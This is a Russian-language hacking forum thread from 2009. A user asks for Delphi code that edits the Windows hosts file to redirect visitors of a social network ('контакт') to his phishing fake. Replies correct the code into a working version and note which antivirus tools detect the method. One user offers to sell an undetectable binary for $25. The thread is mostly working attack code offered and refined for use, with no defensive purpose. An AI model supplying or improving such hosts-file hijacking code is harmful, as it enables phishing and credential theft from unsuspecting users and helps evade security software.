Редирект [DELPHI]

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by qaKEP, 24 Oct 2009.

  1. qaKEP

    qaKEP Banned

    Joined:
    25 Sep 2008
    Messages:
    22
    Likes Received:
    20
    Reputations:
    0
    Сдравствуйте уважаемые форумчане.
    В делфи надо сделать редирект с контакта на мой фейк, через редактирование файла host.
    Code:
    
    procedure TForm1.FormActivate(Sender: TObject);
    var f:textfile;
    begin
    
    assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'\system32\drivers\etc\hosts');
    append(f);
    writeln(f,'ip    www.site.ru');
    writeln(f,'ip    site.ru');
    closefile(f);
    end;
    
    
    Что не правильно? Помогите решить наболевший вопрос!
     
  2. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Code:
    assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'  \system32\drivers\etc\hosts');
    
    Зачем поставил пробелы перед "\system32"?
     
  3. SeoLapot

    SeoLapot New Member

    Joined:
    12 Oct 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Я а знаю в чем, проблема но не скажу :) Нефиг людей дурить :)
     
  4. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    спокойно пашет код такого вида:
    Code:
    var
      f : textfile;
      buf : array[0..256] of char;
    begin
      GetWindowsDirectory(buf, 256);
      assignfile(f, buf + '\system32\drivers\etc\hosts');
      append(f);
      writeln(f,#13#10'ip www.site.ru'); // #13#10 для того чтобы небыло глюков если небыло перехода строки на предыдущей записи
      writeln(f,'ip site.ru');
      closefile(f);
     end;
    
    а вообще этот метод ооочень паливный. даже самая ленивая проактивка его палит
     
  5. ErrorNeo

    ErrorNeo Elder - Старейшина

    Joined:
    2 May 2009
    Messages:
    923
    Likes Received:
    838
    Reputations:
    402
    неправильнее всего то что вообще не хватает половины необходимого для работы кода.

    upd. такой как тебе нужен непалящийся проактивкой бинарник тебе будет стоить долларов 25 - если нада стучи.
    Ессна без сурсов.
    В твоем же случае не "неправильно". В твоем случае у тебя крыло от машины и ты спрашиваешь почему она не едет.
     
    #5 ErrorNeo, 24 Oct 2009
    Last edited: 24 Oct 2009